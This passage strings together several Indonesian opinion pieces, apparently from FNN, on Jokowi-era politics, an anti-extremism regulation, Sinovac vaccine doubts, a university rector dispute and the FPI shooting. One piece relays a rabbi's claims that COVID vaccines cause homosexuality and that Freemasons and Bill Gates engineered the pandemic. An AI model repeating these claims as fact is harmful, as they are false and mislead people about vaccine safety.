gas) dan pertambangan umum. Kelompok pengusaha pasar keuangan dunia yang bermarkas di bursa saham Wall Steert juga bergabung di Partai Republik. Semoga bermanfaat.

Taubat Politik Jusuf Kalla Yang Terlambat

by M Rizal Fadillah Bandung FNN - Periode pertama Jokowi sebagai Presiden didampingi Jusuf Kalla (JK)tidak membawa hasil yang konstruktif. Hasilnya biasa-biasa saja. Bahkan cenderung mengarah kepada kehancuran dan kekacauan politik dan hukum. Hasil ini sesuai dengan prediksi JK sendiri bahwa “jika Jokowi yang menjadi Presiden hancur negeri ini”. Ungkapan Pak JK pada bulan bulan Mei 2014 terseburt, ternyata terbukti. Kegaduhan demi kegaduhan yang mewarnai perjalanan negara hari ini. JK yang niat awalnya menjadi Wapres untuk mengawal Jokowi, tak berkutik "tidak bisa mengawal" Jokowi yang ternyata lebih kuat dikawal oleh para taipan konglomerat dan pengaruh Pemerintah Cina. Wapres JK saja yang sangat berpengalaman, matang dan piawai dalam berpolitik itu mampu "dimatikan" Jokowi dengan sangat mudah. Apalagi hanya sekelas KH Ma'ruf Amin yang tidak berpengalaman. Wapres hari ini hanya berfungsi sebagai "vote getter" saat Pilpres berlangsung saja. Setelah Pilpres selesai, maka tugas dan kerja Wapres juga selesai dengan sendirinya. Jokowi sendiri sebenarnya vigus yang lemah. Hanya lingkungan dan kepentingan sekitarnya sangat dominan. Sehingga mampu memproteksi dan diduga kuat mengendalikan mengendalikan Jokowi. Tidak perduli, apakah kebijakan-kebijakan yang dibuat Jokowi itu bertentangan dengan kepentingan dan kehendak rakyat. Yang terpenting adalah kepentingan mereka di lingkungan Jokowi tercapai. Baru Sadar Setelah Kacau JK seperti mulai menyadari kesalahannya yang menjadi "mede dader" dari kerusakan ekonomi dan politik bangsa di bawah Pemerintahan Jokowi selama lima tahun. Kini JK mulai turun gunung. JK mulai melangkah kembali di kancah perpolitikan nasional. Terutama ketika Habib Riziieq Shihab (HRS) dan keluarga menginjakan kaki di tanah air. Ketika itu JK terlihat merintis hubungan pertokohan dengan HRS dan Anies Baswedan yang kini Gubernur DKI Jakarta. Kedua tokoh yang dirintis kembali hubungannya oleh Pajak JK ternyata dianggap oleh Jokowi sebagai "orang oposan". Menghadapi manuper politik JK-HRS dan Anis Baswedan ini, berbagai langkah untuk membungkam sepak-terjang HRS dan Anis dilacarkan oleh Jokowi. Ketika Pilpres AS dimenangkan Joe Biden dari Partai Demokrat, maka kedekatan JK dengan Biden yang sudah lama terjalin sejak Biden menjadi Wakil Presiden Barack Obama selama dua priode bakalan terjalin kembali. Pertanyaannya, akan berpengaruh pada kiprah hubungan JK dengan Biden terhadap kebijakan-kebijakan Jokowi di dalam negeri? Suka dan tidak suka dukungan global, terutama Amerika terhadap Indonesia menjadi faktor yang tiak bisa dianggap enteng. Apalagi untuk melancarkan peran ke depan pada Pilpres 2024 nanti. Tentu saja bukan hanya sanga Capres yang menjadi faktor penentu. Tetapi siapa yang tampil sebagai "King Maker"? Tau Banyak Kelemahan Memang JK yang ikut serta "berdosa" membuat bangsa seperti hari ini harus bertaubat. Saatnya untuk aktif beramal kebajikan, terutama untuk meluruskan kiblat dan arah perjalanan bangsa yang sedang berjalan terseok-seok salah arah. Bahkan cenderung menuju arah yang tersesat. Melenceng auh dari tujuan berbangsa dan bernegara yang diamanatkan di alinea ke empat pembukaan UUD 1945. Usia Pak JK yang sudah 78 tahun pada 15 Mei nanti, seharusnya mendorongnya untuk erbuat yang terbaik untuk bangsa di sisa usianya. Tahun 2024 semestinya sudah ada perubahan yang signifikan, bahkan di tahun sebelumnya. Namun harapan itu sangat kecil. Jauh panggang dari api. Wajar-wajar saja kalau mayarakat semakin banyak yang pesimis. Ekonom kawakan Rizal Ramli memprediksi krisis ekonomi tahun 2021 lebih berat dari yang pernah terjadi pada tahun 1998 lalu. Krisis yang mengahiri kekuasaan pemerintahan Orde Baru yang berkuasa selama 32 tahun. JK sebagai praktisi ekonomi tentu saja sangat memahami kondisi ini. Meskipun terlambat, JK segera berbuat untuk meluruskan arah dan kiblat berbangsa, agar dicatat oleh sejarah sebagai penyelamat bangsa. Mengapa harus JK? Disamping mantan Wapres dua periode, juga mantan Ketua Umum partai besar Golkar. Pengusaha sukses. Mengetuai Dewan Masjid Indonesia dan Palang Merah Indonesia. Merujuk pada pandangan Rachmawati, JK kini menjadi salah satu "geng" kekuasaan yang berpengaruh di samping geng Jokowi, Luhut dan geng Megawati. JK tau banyak tentang kekurangan Jokowi. Semoga taubat politik JK dengan kerja kerasnya dapat membuahkan hasil gemilang. Perubahan politik yang lebih baik setelah ambyar habis di era Pemerintahan Jokowi. Old politician never fade away. Penulis adalah Pemerhati Politik dan Kebangsaan.

Perpres No. 7/2021 Yang Sangat Berbahaya

by Dr. Margarito Kamis, SH.M.Hum Ternate FNN - Ekstrimisme berbasis kekerasan yang mengarah pada terorisme di Indonesia, teridentifikasi oleh Presiden Jokowi, semakin meningkat. Peningkatan ekstrimisme itu telah menciptakan kondisi rawan yang mengancam hak atas rasa aman dan stabilitas keamanan nasional. Itulah justifikasi sosilolgis Presiden menerbitkan Peraturan Presiden (Perpres) Nomor 7 Tahun 2021 Tentang Pencegahan Dan Penanggulangan Ekstrimisme Berbasis Kekerasan Yang Mengarah Pada Terorisme (RAN PE) tahun 2020-2024. Benarkah itu? Itu bukan soal hukum. Itu sepenuhnya soal politik. Politik tidak mengenal benar dan salah. Politik hanya berurusan dengan perhitungan. Ya soal kalkulasi. Validitasnya bergantung penuh pada daya dukung, kemampuan dan keberhasilan mengendalikan keadaan. Tidak lebih dari itu. Itu sebabnya jangan menyodorkan aspek-aspek normatif hukum untuk mengukur validitas pertimbangan tersebut. Sangat Menakutkan Tetapi persis dikoridor itulah, soal ini jadi menarik dianalisis. Tawa riang akan segera menemukan siapapun yang menilai Perpres RAN PE bertolak belakang dengan UU Nomor 5 Tahun 2018 tentang Perubahan Atas UU Nomor 15 Tahun 2003 Tentang Penetapan Peraturan Pemerintah Pengganti UU Nomor 1 Tahun 2002 tentang Pemberantasan Tindak Pidana Terorisme Menjadi UU. Betul Perpres RAN PE dialirkan atau disandarkan pada UU Nomor 5 Tahun 2018 itu. Betul itu. Betul sekali UU Nomor 5 Tahun 2018 telah begitu jelas mengatur hal-hal yang Perpres RAN PE ini kualifikasi sebagai “ekstrimisme”. UU ini begitu jelas bicara mengenai kontraradikalisasi. Targetnya jelas. Targetnya tidak terbatas mereka yang pernah dihukum melakukan tindakan terorisme. Targetnya luas. Perorangan dan atau kelompok orang teridentifikasi “terpapar faham radikal” dinyatakan oleh UU ini sebagai taget kontradikalisasi. Lalu, Apa makna dari terminologi orang yang terpapar faham radikal? Maknanya tidak lain, selain orang yang memiliki keyakinan, yang dengannya membawa atau mengakibatkan mereka melakukan tindakan terorisme. Hanya itu titik. Tidak lebih. Tidak ada terorisme yang dilakukan dengan cara-cara lembut. Tidak ada. Terorisme dengan cara-cara lembut, dan akibat yang biasa-biasa saja? Itu konyol dan tolol. Terorisme ya kekerasan, sebagai hasil dari keyakinan ekstrimnya. Jadi, untuk apa Perpres RAN PE itu? Penggunaan pendekatan isolasionis atau purposivistik sekalipun, sulit untuk menyangkal kesamaan substansial sifat antara terminologi “terpapar faham” menurut terminologi UU Nomor 5 Tahun 2018 dan “keyakinan” menurut terminologi Perpres RAN PE, tetap tidak bisa. Mengapa? Baik “terpapar faham” menurut terminologi UU Nomor 5 Tahun 2018 maupun “memiliki keyakinan” menurut terminologi Perpres RAN PE ini, keduanya sama dalam sifatnya. Hal ini disebabkan kekerasan ada pada keduanya, sekaligus menjadi basis keduanya. Justru pada titik itulah menariknya Perpres RAN PE ini. Apa yang menarik? Terminologi “ekstrimisme” lebih eksplosif. Terminologi ini lebih menakutkan dibandingkan terminologi orang “terpapar faham radikal.” Itulah urgensi kehadiran terminologi “ekstrimisme” dalam Perpres RAN PE ini. Apakah hal soal sesepele dan sesederhana di atas tidak dapat dinalar oleh Presiden? Tidak mungkin. Perangkat pendukung dan sumberdaya kepresidenan lebih dari cukup. Malah mengagumkan, sehingga seharusnya Perpres RAN PE, bercitarasa suka-suka ini, tidak perlu diterbitkan. Kenyataannya Perpres RAN PE itu telah eksis. Perpres dalam konteks itu, menjadi instrumen legalisasi terminologi ekstrimisme, yang tidak dikenal dalam UU Terorisme. Perpres bernilai intrumentatif ini menjustifikasi lebelisasi politis terhadap siapapun yang kritis kepada pemerintah. Siapapun dia, yang karena keyakinannya berbicara kritis terhadap setiap kebijakan pemerintah, segera menemukan diri dicap sebagai orang ekstrim. Pada akhir tahun 1800-san sampai awal 1900-san, negara seperti Jerman, Perancis dan Inggris, telah lebih dahulu bergerak dalam koridor ini. Kenyataannya sekarang, aktivis Islam mutakhir di Indonesia, terlihat begitu telanjang dipanggung politik sebagai eksponen paling produktif dengan kritik-kritiknya terhadap pemerintahan Jokowi. Kritik sangat demonstratif dari kalangan ini tersaji begitu ekspresif dan demonstratif sejak 2016 lalu. Gelombang demonstrasi kalangan ini, dikenal dengan demo 411 dan 212, jelas dalam konteks itu. Bentengi Kekuasaan Beralasankah kenyataan tak terbantahkan itu dikesampingkan dari konteks politis Perpres RAN PE ini? Beralasankah mengambil dan menjadikan para aktivis, khususnya Islam, sebagai titik bidik atau berada dalam orbit Perpres RAN PE? Sulit menghindarkannya. Memang teks-teks Perpres RAN PE ini sama sekali tidak menempatkan aktivis Islam, apalagi eksponen eks FPI pada orbitnya. Tetapi sekali lagi, apakah ketiadaan teks itu, dapat disodorkan sebagai bukti tidak adanya pertalian kontekstual dengan ekpresi kritik-kritik berkelanjutan dari kalangan aktivis Islam? Sulit untuk mengatakan tidak atau bukan. Beralasankah menarik dan menjadikan, misalnya unlawfull killing terhadap pengawal habib Rizieq, yang jorok, primitif, bar-bar, tidak beradab dan menjijikan itu? Beralasankah kebijakan pelarangan semua kegiatan FPI, juga pemblokiran rekening-rekening FPI, dan pihak yang terafiliasi dengannya, dikesampingkan dari konteks kebijakan RAN PE ini? Ancaman terhadap hak atas rasa aman dan stabilitas keamanan nasional, yang Presiden rujuk sebagai justifikasi sosiologis Prepres RAN PE ini, bukan tak dapat disanggah. Justifikasi ini sangat konvensional. Justifikasi ini telah lama digunakan. Pemerintahan Pak Harto terlatih sangat mahir dalam soal ini. Ekstrim kiri dan ekstrim kanan, merupakan terminologi yang berserakan disepanjang jalan pemerintahan Orde Baru. Istilah ini digunakan secara bergantian dengan stabilitas pembangunan. Hasilnya jelas dalam beberapa aspek. Aktivis Islam menjadi sasaran kebijakan ini. Peristiwa Tanjung Priok yang jijik dan jorok dalam semua apeknya itu, merupakan buah kongkrit dari kebijakan stabilisasi keamanan dan pemenuhan hak memperoleh rasa aman. Pemerintah Orde Baru punya UU Subversi. UU paling buruk untuk ukuran rule of law ini, menyediakan ruang diskresi tak terbatas kepada penguasa. Penguasa leluasa mendefenisikan dan mengkualifikasi sesuka-sukanya tindakan-tindakan terhadap orang sebagai subversi. Stabilisasi model Orde Baru itu, dalam kenyataannya, terpercaya sebagai cara penguasa Orde Baru membentengi kekuasaannya. Orang-orang kritis, dibungkan sesuka-sukanya. Betul tidak, semua dipenjara. Tetapi mereka yang tidak dipenjara segera menemukan kenyataan mati hak perdatanya. Hal-hal ini menginspirasi Presiden Jokowi? Tidak dapat dipastikan. Tetapi Perpres RAN PE ini, memiliki kemiripan, dalam beberapa aspek dengan kebijakan stabiliasi Orde Baru. Persis Orde Baru, yang enforcementnya memerlukan kehadiran struktur baru. Perpres ini juga mengatur keberadaan satu struktur baru. Namanya Sekretariat bersama. Pesta stabilisasi model Orde Baru didukung UU Subversi, yang bertolak belakang dalam semua sudutnya dengan rule of law. Dsisi lain pesta stabilisasi pada era Jokowi ini, ditopang oleh dua UU. UU Terorisme dan UU ITE. UU ITE didekorasi dengan teks yang sangat elastis. Tesk elastis selalu menjadi hadiah terbesar kepada aparatur hukum. Mengapa? Teks tipikal UU ITE itu menjustifikasi tafsir purposivistis. Tafsir yang dikerangkakan pada kepentingan politik. UU ini, suka atau tidak, sama kejamnya dengan UU subversi. Canggih kerja politik, entah stablisasi atau sekadar melokalisir kelompok-kelompok kritis terhadap pemerintah. Dimana letak canggihnya? Menkopolhukam mendekorasi politik dengan, entah gagasan atau bukan, pengaktifan polisi siber. Model polisi GESTAPO pada erranya Nazi Hitler. Kemampuan polisi siber, kata Pak Menteri, luarbiasa. Jam 8 pagi anda menyebarkan pikiran-pikiran, yang berkualifikasi tindak pidana, dua jam kemudian sudah bisa diidentifikasi. Malah ditangkap. Canggih. Entah ada atau tidak plot mengisolasi kalangan aktivis Islam kritis, datanglah Perpres RAN PE. Dan menariknya, Komjen Pol. Listyo Sigit yang pernah jadi ajudan Presiden Jokowi, dinominasikan oleh Presiden untuk menjadi Kapolri. Pak Komjen Sigit mengagumkan. Pak Komjen yang bakal jadi Kapolri ini menunjukan kelasnya ketika di fit and proper test. Beliau berkomitmen menjadikan Polri sebagai institusi yang prediktif, responsif, dan transparansi berkeadilan atau presisi. Tidak itu saja. Pak Komjen ini tegas menyatakan “Polri tidak boleh menjjadi alat kekuasaan”. Apakah prediksi Kepolisian dibawah Pak Sigit nanti meliputi dan menjangkau hingga ke “potensi” ekstrimisme atau hanya sebatas ekstrimisme aktual? Kalau ekstrimisme aktual yang menjadi sasaran prediksi, maka soalnya bagaimana Pak Sigit memaknai terminologi “keyakinan” yang dinyatakan dalam Perpres RAN PE itu? Ini krusialnya. Kalau ekstrimisme aktual yang titik bidik, hukumnya adalah terorisme. Kalau potensi ekstrimis, tak bisa pakai UU Terorisme. Mau pakai Perpres RAN PE untuk potensi ekstrim? Tidak bisa. Inilah soalnya. Tetapi justru dititik itulah letak pijakan politisi Perpres RAN PE. Apa nalarnya? Untuk yang potensi ekstrim, diberi lebel sebagai eksrimis. Lebel ini lebih menakutkan dari pada lebel “terpapar faham radikal.” Itulah black box-nya. Kenyamanan kekuasaan terproteksi sudah. Wajah dan tampilan kehidupan berbangsa dan bernegara dimasa depan, diwarnai dengan tuduhan ekstrimis kepada perorangan dan kelompok tertentu. Kebebasan eskpresi menjadi serba dibatasi. Itulah sekelumit harga katastropik Perpres RAN PE, yang berkarakter asal terbit dan suka-suka ini. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Meragukan Vaksin Sinovac

by Suhardi Suryadi Jakarta, FNN - Harian Global Times yang terbit tanggal 13 Januari 2021 mengatakan bahwa vaksin yang dibuat Sinovac membuktikan tingkat keamanannya dan effektif di beberapa negara. Menurutnya vaksin ini 100 persen efektif dalam mencegah infeksi parah dan sedang, 77,96 persen efektif mencegah kasus ringan. Namun memiliki kemanjuran sekitar 50,4 persen dalam uji coba tahap akhir di Brasil. Demikian pula dengan peluncuran vaksinasi massal untuk penggunaan darurat di Indonesia dan Turki yang menunjukkan bahwa dengan tingkat kemanjuran sebesar 50,4 persen tidak akan merusak kepercayaan pada suntikan dan tidak akan mengurangi komitmen pengguna potensial untuk membelinya. Bahkan vaksin sinovac ini telah resmi digunakan di Indonesia pada tanggal 13 Januari 2021. Menolak Sinovac Pada sisi lain, terdapat pula perusahaan yang memproduksi vaksin juga direncanakan akan dipakai di Indonesia. Di antaranya adalah Pfizer dan Moderna yang telah menunjukkan kemanjuran sekitar 95 persen. Pfizer telah melakukan 150 uji klinis Fase III pada vaksin mRNA-nya, BNT162b2, di AS, Jerman, Turki, Afrika Selatan, Brasil, dan Argentina, yang melibatkan lebih dari 44.000 peserta berusia 16 tahun keatas Vaksin produksi sinovac ini nampaknya kurang sepenuhnya mendapat respon positif dari masyarakat Indonesia. Sekalipun telah resmi digunakan sebagai vaksin dalam mencegah penyebaran covid-19. Penolakan yang cukup mencuat dan salah satunya dilakukan oleh anggota DPR – RI dari Fraksi PDIP yaitu Ribka Tjiptaning. Beliau dalam forum resmi legislatif menyatakan menolak menerima vaksin corona buatan perusahaan farmasi asal China, Menurut hasil survei yang dilakukan oleh kelompok penasehat teknis imunisasi (ITAGI), Organisasi Kesehatan Dunia (WHO), dan UNICEF dengan melibatkan 115 ribu orang di seluruh provinsi, menunjukkan bahwa sebagian kelompok yang menyatakan menolak vaksin sinovac karena faktor efek samping bagi kesehatan dan perihal kehalalannya. Aceh dan Sumatera Barat menunjukkan bahwa jumlah warga yang bersedia menerima vaksin Covid-19 di Aceh hanya 46% dan Sumatera Barat sebesar 47%. Kecenderungan warga menolak vaksin pada dasarnya lebih karena faktor keraguan atas kualitas produk sinovac. Penolakan ini pada hakekatnya bukan pada vaksinnya, melainkan pada negara pembuatnya. Sikap menolak produk Tiongkok sesungguhnya sudah berlangsung lama, baik karena alasan politik maupun kualitas yang rendah. Boikot produk Tiongkok telah menjadi sebuah slogan populer di berbagai media yang dibuat untuk kampanye sampai pemboikotan produk-produk Tiongkok di berbagai negara. Umumnya alasan yang dikutip untuk pemboikotan tersebut adalah kualitas yang dianggap rendah dari produk tersebut dan Tiongkok dipandang sebagai wilayah yang berpotensi memperluas pengaruhnya. Sementara pada sisi lain, warga masyarakat yang bersedia divaksin pun tetap menuntut adanya jaminan dari pemerintah. Jaminan terkait dengan keamanan dan kualitas atas vaksin sinovac ini. Beberapa faktor yang dituntut oleh warga masyarakat terhadap penggunaan vaksin Covid-19 ini adalah adanya surat rekomendasi dari health care providers. Keamanan vaksin terjamin. Vaksin tidak membahayakan kesehatan. Misalnya, terbukti tidak ada efek sampin, baik jangka pendek apalagi jangka panjang. Efektivitas vaksin telah teruji berdasarkan bukti klinis. Kecenderungan politik mendukung. Begitu kehalalan vaksin terjamin. Skses untuk memperoleh vaksin dengan biaya terjangkau tersedia," menurut Dr. Endang Mariani, M.Psi. Dengan demikian, keraguan warga dalam penerapan vaksin ini disebabkan oleh asal negara atau perusahaan bukan pada produk vaksin itu sendiri. Warga nyaris tidak berkomentar menolak atas vaksin yang dibuat Pfizer dan Moderna, Oxford-AstraZeneca dan Johnson & Johnson, yang dipandang jauh lebih efektif daripada vaksin Tiongkok,. Bahkan menurut Juru Bicara Ikatan Dokter Indonesia, Dr. Erlina Burhan, kekebalan masyarakat terhadap Covid-19 atau herd community akan tercapai jika 70% penduduk Indonesia divaksin. Persentase itu setara dengan sekitar 189 juta orang. Efektivitas atau kemanjuran yang lebih rendah dari vaksin dikuatirkan membutuhkan waktu lebih lama. Terutama untuk negara-negara yang menggunakan sinovac untuk mencapai kekebalan kelompok. Suatu titik di mana cukup banyak orang yang kebal terhadap virus (di atas 70 persen). Hal ini berbeda dengan vaksin yang dibuat oleh Moderna dan Pfizer-BioNTech yang telah di klaim memiliki tingkat kemanjuran sekitar 95 persen. Kondisi inilah yang menjadi alasan bagi warga Amerika dan Eropa lebih memilih produk Pfizer-BioNTech sebagai vaksin ketimbang produk buatan sinovac. John Moore, pakar vaksin di Cornell University mengatakan “Ford Model T yang terawat baik mungkin akan membawa Anda dari Wuhan ke Beijing, tapi secara pribadi saya lebih memilih Tesla” (Sui-Lee Wee dan Ernesto London, New York Times, 13 Januari 2021). Penulis adalah Peneliti LP3ES

Mendikbud Main Paksa Lantik Plagiator Menjadi Rektor USU

by Asyari Usman Medan, FNN - Menteri Pendidikan dan Kebudayaan mengeluarkan perintah pelantikan seorang plagiator menjadi rektor USU Medan. Dr Muryanto Amin terpilih sebagai rektor pada pemilihan 3 Desember 2020 untuk masa jabatan 2021-2026. Perintah Mendikbud tertanggal 22 Januari 2021 yang ditandatangi Sekjen Ainun Na’im itu melecehkan keputusan Rektor USU Runtung Sitepu dan temuan Komite Etik (KE) USU yang menyatakan bahwa Muryanto terbukti melakukan ‘self plagiarism’ (otoplagiasi). Tim investigasi KE menemukan plagiasi oleh Muryanto di dalam empat (4) dari lima (5) karya tulis dekan Fisipol USU itu. Seorang anggota tim penyelidik mengatakan, di salah satu karya tulis itu didapati kemiripan 90% dengan karya tulisan Muryanto lainnya. Para guru besar USU sepakat bahwa Muryanto tidak layak suduk sebagai rektor. Mereka menegaskan, Muryanto tidak memiliki pijakan moral akademis lagi. Plagiat adalah perbuatan yang paling tercela dan sangat memalukan di dunia akademis. Menurut para guru besar, pelantikan Muryanto yang dipaksakan oleh Mendikbud merupakan kesewenangan yang akan merusak suasana keilmiahan di USU. Sejumlah pengamat mengatakan, pemaksaan pelantikan Muryanto merupakan bentuk keotoriteran Mendikbud yang sarat dengan nuansa politis. Seperti diketahui, Muryanto punya kedekatan dengan Bobby Nasution, walikota Medan terpilih. Kuat dugaan, surat perintah pelantikan itu bisa keluar berkat kedekatan itu. Sesuai surat Mendikbud, pelantikan Muryanto Amin akan dilaksanakan pada 28 Januari 2021 di Jakarta. Padahal, keputusan Rektor Prof Runtung Sitepu bersifat final dan mengikat. Hari ini Mendikbud menunjukkan kekuasaan sewenang-wenang. Diperkirakan, kalangan akademisi senior USU akan melancarkan perlawanan terhadap perintah Mendikbud. Mereka bisa menempuh upaya hukum dengan menggugat surat Menteri itu ke PTUN.[] Penulis adalah Wartawan Senior FNN.co.id.

Rabi Daniel Asor: Vaksin Covid Berpotensi Bikin Orang Jadi Gay!

by Mochamad Toha Surabaya, FNN - Seorang Ketua Agama Yahudi (Rabi) berpengaruh di Israel, Rabi Daniel Asor, yang paham juga ilmu kedokteran menyeru para penganut ajaran ultra-Orthodox untuk tidak menerima suntikan vaksin Corona alias Covid-19 apapun itu. Menurutnya, vaksin yang disuntik akan menyebabkan seseorang bisa menjadi homoseksual. Media Israel, Jerusalem Post dan Israel Hayom melaporkan tuduhan Daniel Asor, fenomena Covid-19 itu adalah didalangi oleh pihak tertentu. Pandemik tersebut sengaja direka oleh ‘kumpulan rahasia’ antara bangsa seperti Freemason, Illuminati, dan penggasas Microsoft, Bill Gates. “Penyakit dan vaksin dihasilkan adalah bagi membentuk order dunia baru (New World Order),” kata Daniel Asor. “Ini pengakuan jujur dan terbuka dari seorang Rabi Yahudi anti Zionis dan premansory yang membuat pihak Israel sendiri gerah. Rabi Daniel sendiri adalah Yahudi Ortodok yang gethol membela Palestine,” ujar Von Edison Alouisci, relawan di Palestina. Tuduhan Rabi Daniel terkait vaksin ini berbeda dengan 3 Rabi Ultra-Orthodox yang menyeru pengikut mereka untuk menerima suntikan vaksin. Video ucapan Daniel Asor yang banyak tersebar di media Timur Tengah menuai kontroversi di pihak zionis Israel sendiri. Pernyataan kontras dengan para rabi orthodox terkemuka yang menyerukan kepada pengikut mereka untuk mengambil suntik vaksin virus corona. Menurut Israel Hayom, Daniel Asor memberikan khotbahnya yang mengklaim informasi yang salah. “Setiap vaksin dibuat dari subsrat embrio, dan kita memiliki bukti tentang itu, menyebabkan orientasi berlawanan,” ujarnya yang tampak mengarah pada homoseksualitas, seperti dilansir Kompas.com, Selasa (19/01/2021, 05:39 WIB). Kelompok hak asasi LGBT+, Havruta, menanggapi pernyataan Rabi Asor dengan guyonan bahwa mereka “saat ini bersiap menyambut anggota baru kami yang akan datang”. Israel saat ini menargetkan untuk memvaksinasi 5 juta dari 9 juta penduduk dan membuka kembali aktivitas ekonomi pada pertengahan Maret mendatang. Israel menunjukkan upaya vaksinasi Covid-19 tercepat di dunia. Lebih dari 2 juta penduduk Israel telah mendapatkan satu dosis suntikan vaksin Covid-19, ketika sekitar 225.000 warga telah mendapatkan suntikan kedua. Seorang pejabat senior kesehatan mengatakan pada Jumat (15/1/2021) bahwa negaranya berada dalam “tahap akhir” pandemi Covid-19. Penduduk yang berusia 45 tahun dan lebih mendapatkan tawaran vaksin Covid-19 mulai Minggu (17/1/2021), yang disebutnya sebagai tanda dari program vaksinasi Israel yang cepat. Satu dari 5 populasinya telah mendapatkan vaksin Covid-19. “Israel, dengan skala upaya vaksinnya, menunjukkan kepada dunia bahwa ada strategi keluar dari masalah,” ungkap Ronni Gamzu, penasihat Pemerintah tentang Covid-19 dan Direktur sebuah rumah sakit di Tel Aviv, kepada Channel 12. *Ditolak Gereja* Sebelumnya, tiga orang uskup senior Australia, pada pekan lalu menyatakan bahwa vaksin Covid-19 buatan Universitas Oxford, Inggris dan perusahaan farmasi AstraZeneca yang telah dipesan oleh pemerintah Australia karena terbuat dari sel-sel janin yang sengaja digugurkan. Melansir Suara.com, Rabu (26 Agustus 2020 | 07:15 WIB), Pemerintah Australia sendiri pada Senin (24/8/2020) mengatakan, komunitas keagamaan tak perlu risau, karena tak ada masalah etis terkait vaksin yang sudah dipesan sebanyak 25 juta dosis itu. Memang vaksin Covid-19 AstraZeneca itu, yang saat ini merupakan kandidat paling siap untuk diproduksi dan jadi rebutan banyak negara, dikembangkan dengan menggunakan sel-sel ginjal janin yang sengaja digugurkan. Praktik ini sudah biasa dalam dunia medis. Perdana Menteri Scott Morrison, pada Selasa (18/8/2020), telah secara resmi memesan 25 juta dosis vaksin Covid-19 ke AstraZeneca. Rencananya vaksin-vaksin itu akan diberikan secara gratis kepada rakyat Australia. Uskup Agung Gereja Anglikan, Glenn Davies; Uskup Agung Sidney (Katolik), Anthony Fisher; dan pemimpin Gereja Ortodoks Yunani Australia, Uskup Makarios Griniezakis menyatakan keberatan mereka terkait vaksin Covid-19 dalam sebuah surat kepada Morrison. Dalam surat yang dikirim pada Kamis (20/8/2020) itu, para uskup ini mengatakan, mereka mendukung adanya vaksin Covid-19, tetapi penggunaan “sel-sel janin sesungguhnya adalah sesuatu yang sangat tidak bermoral”. Meski tidak mengajak umat mereka masing-masing untuk memboikot vaksin AstraZeneca tersebut, para uskup itu mengatakan bahwa umat berhak untuk menolak menggunakan vaksin tersebut, bahkan jika mereka tak punya pilihan lain. Uskup Fisher bahkan menulis di akun Facebook-nya soal masalah tersebut dan menyatakan bahwa vaksin Covid-19 dari Oxford itu menimbulkan apa yang disebutnya sebagai dilema etis. Menanggapi protes tersebut, Deputi Kepala Kantor Kesehatan Australia, Nick Coatsworth, mengatakan bahwa kekhawatiran gereja itu tak bisa diabaikan. Tetapi di saat yang sama, ia menegaskan bahwa pengembangan vaksin memang membutuhkan kultur sel. “Sel-sel manusia sangat penting dalam pengembangan vaksin,” tegas Coatsworth. “Regulasi etis di sekitar penggunaan sel-sel manusia sangat ketat, terutama terkait sel janin manusia,” lanjutnya. “Yang mengembangkan vaksin ini adalah unit penelitian di Universitas Oxford yang sangat terkemuka. Jadi menurut saya, kita bisa percaya pada cara mereka mengembangkan vaksin tersebut,” ungkap Coatsworth. Tetapi, menurut Robert Booy, pakar vaksin dari University of Sidney, penggunaan sel-sel janin yang digugurkan sudah biasa dalam pengembangan vaksin selama 50 tahun terakhir. Sebelumnya, kata Booy, gereja tak pernah mempermasalahkan ini karena ada jarak yang sangat jauh antara penggunaan sel-sel janin dengan vaksin yang sudah rampung. Booy juga mengatakan bahwa vaksin rubella, hepatitis A, dan cacar air juga menggunakan metode yang sama dalam pengembangannya. “Sel-sel janin bisa melakukan 50 replikasi, sementara sel-sel yang lebih tua lebih sedikit replikasinya. Jadi, untuk memproduksi vaksin, virus harus dibiakkan di dalam sel janin berkali-kali dan kemudian dipanen,” jelas dia. Kelak, imbuh Booy, elemen-elemen manusianya akan dibersihkan dan yang digunakan hanya elemen virusnya saja. Artinya tidak ada DNA manusia lagi dalam vaksin yang sudah jadi. Peraih Nobel dan imunolog Peter Doherty bahkan mengeluarkan komentar lebih pedas. Menurutnya proses pengembangan vaksin Covid-19 di Oxford sudah sesuai standar etis dan sudah lazim digunakan. “Jika Uskup Fisher menolak vaksin ini, maka itu adalah haknya dan juga adalah hak kita untuk tidak ambil pusing dengan dia,” tegas Doherty. Penulis adalah Wartawan Senior FNN.co.id.

Ketua Komnas HAM Bagaikan Merangkap Ketua Tim Pembela Polisi

By Asyari Usman Medan, FNN - Ketua Komisi Nasional Hak Asasi Manusia (Komnas HAM) Ahmad Taufan Damanik mengatakan, penguntitan (surveillance) yang dilakukan Polisi dengan alasan orang tidak memenuhi dua kali panggilan, adalah hal yang normal. “Wajar saja,” ujar Taufan. Hal ini disampaikan oleh Taufan dalam wawancara video dengan Medcom-id yang ditayangkan pada 17 Januari 2021. Ketua Komnas menjawab begitu ketika ditanya seluk-beluk penguntitan yang dilakukan oleh “OTK” (yang kemudian ternyata aparat kepolisian) terhadap rombongan Habib Rizieq Syihab (HRS) yang berakhir dengan penembakan mati 6 anggota FPI. Jadi, kalau nanti Anda atau siapa saja yang tidak memenuhi panggilan Kepolisian dua kali berturut-turut, maka ada kemungkinan Polisi akan melakukan penguntitan terhadap gerak-gerik Anda. Seperti apa penguntitan itu, tentu terserah Polisi. Yang penting Ketua Komnas bilang tindakan itu ok-ok saja. Secara umum, jawaban-jawaban Taufan Damanik dalam wawancara ini luar bisa ‘clear’ (bernas). Rasa-saranya, tak kurang dari 80% jawaban Ketua Komnas terang-terangan menyalahkan para pemuda FPI yang mengawal HRS dalam insiden 7 Desember 2020. Taufan mengatakan dengan sinis bahwa anak-anak muda FPI itu menikmati bentrokan dengan penguntit. Tapi, Ketua Komnas terlihat pula menikmati wawancara ini. Dia bersemangat sekali menjawab pertanyaan. Sayangnya, Ketua Komnas terkesan menggiring opini publik bahwa insiden 7 Desember itu sepenuhnya kesalahan para pemuda FPI. Wawancara ini sangat menghibur. Unmistakably, very entertaining! Tidak rugi seandainya pun video wawancara ini harus diperoleh melalui situs berbayar. Pak Taufan mengatakan, pengawal HRS yang berada di dua mobil paling belakang seharusnya tidak menunggu penguntit yang sudah jauh di belakang. Untuk kedua mobil ini, Pak Ketua menggunakan istilah “memprovokasi” penguntit. Dahsyat, Pak Ketua! Cuma, konyol sekali cara berpikir Taufan Damanik. Mari kita lihat siapa yang memprovokasi. Rombongan HRS keluar dari Sentul. Mereka dibuntuti oleh pihak yang tak dikenal (OTK). Tidak ada tanda-tanda mereka aparat negara. Para penguntit kemudian mencoba masuk ke dalam konvoi HRS dengan cara yang membahayakan. Inilah yang menyebabkan mobil-mobil pengawal HRS berusaha 